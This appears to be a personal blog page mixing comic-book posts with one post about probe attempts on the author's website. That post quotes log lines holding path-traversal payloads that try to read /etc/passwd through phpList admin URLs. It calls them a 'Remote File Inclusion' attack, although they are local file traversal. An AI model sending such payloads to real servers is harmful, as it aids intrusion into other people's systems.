Excited Newb
Hello everyone name is Jeremy, some know me better as T. But more on that later *nods*
Well First I want to say it’s awesome to be here on Alex’s Antidote! he made me aware of this site the other day when I made a post on Facebook about the passing of Dwayne McDuffie (RIP). Since then I’ve looked over the board and in talks with Alex I’ve decided to jump on board as a writer/author here. I look forward to talking about some of the things I personally love to enjoy in life; Comic Books, Movies, and TV shows/cartoons. I may sometimes post something on Sports just to annoy you all, but it’ll be mostly about Comics.
Attempted Hack on My Site?! Really?!
Exponentially increased traffic?
So I logged in to my site today and noticed my traffic had spiked exponentially! Check out the screenshot of the bar graph (showing yesterday and today for comparison). 300 visitors and 3000 pageviews in a single day? On my humble little website? Way too good to be true!
So I looked further and found some unsettling info in the visitor statistics… It looked something like this:
14:38:08 //lists/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 14:38:09 //newsletter/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 14:38:10 //news/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 14:38:10 //phplist/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 14:38:11 //phpList/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 14:38:12 //admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 14:38:13 //phplist/lsts/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 14:38:14 //phplists/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd 14:38:14 //list/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwdLooks like someone was trying to pull a RFI — Remote File Inclusion — attack on my site…
Next I checked my logs:
cat /var/www/logs/*.log | grep '\.\.\/\.\.\/' > /tmp/rfi_attack.log cat /var/www/logs/*.log
RIP Dwayne McDuffie

These past few days I have been ranting about how excited I was to watch the new All Star Superman movie and in doing so was more than happy to mention the man who wrote the script for the movie, Dwayne McDuffie. I have enjoyed his comics and cartoons/movies (even before I knew he was involved in making them), and wanted to give proper credit and explanation for why his work is so good. I have never been very good at writing stuff like that (always more technically minded, sorry)… I was going to ask my buddy/cousin Jeremy to write something to put on here to better explain why McDuffie is such a great asset to the Comic
All Star Superman Movie – Can’t Wait!
All Star Superman Movie
It wasn’t too long ago.. I remember reading through the All Star Superman comic book series written by Grant Morrison and thinking: “This has to be the best Superman story ever!” and now the DVD will be officially released in a matter of minutes! To say that I’m excited is a bit of an understatement!Grant Morrison’s “All Star Superman” comics brought out all the best features and qualities of Superman over the decades and wrapped them all into one awesome package! Throw in a classic Lois Lane and Jimmy Olson, a Lex Luthor at his evil genius finest and top it all off with a nice helping of various bad-guys and you’ve only just begun!
Just finished watching All Star Superman with my wife and kids. It was awesome! Obviously they could no include EVERYTHING from the comics so I kept that in consideration as I watched it.
All-in-all I think McDuffie did an excellent job with this one (as if one could expect any less from him). I am especially happy that he left out the bizzaro world part of the comics as that was my least favorite part of that excellent read (not to mention it would have been externally difficult to do the voice acting for the bizzaro characters and even more confusing to casual fans/viewers).
I’m so glad I own this on DVD so I can watch it again and again!
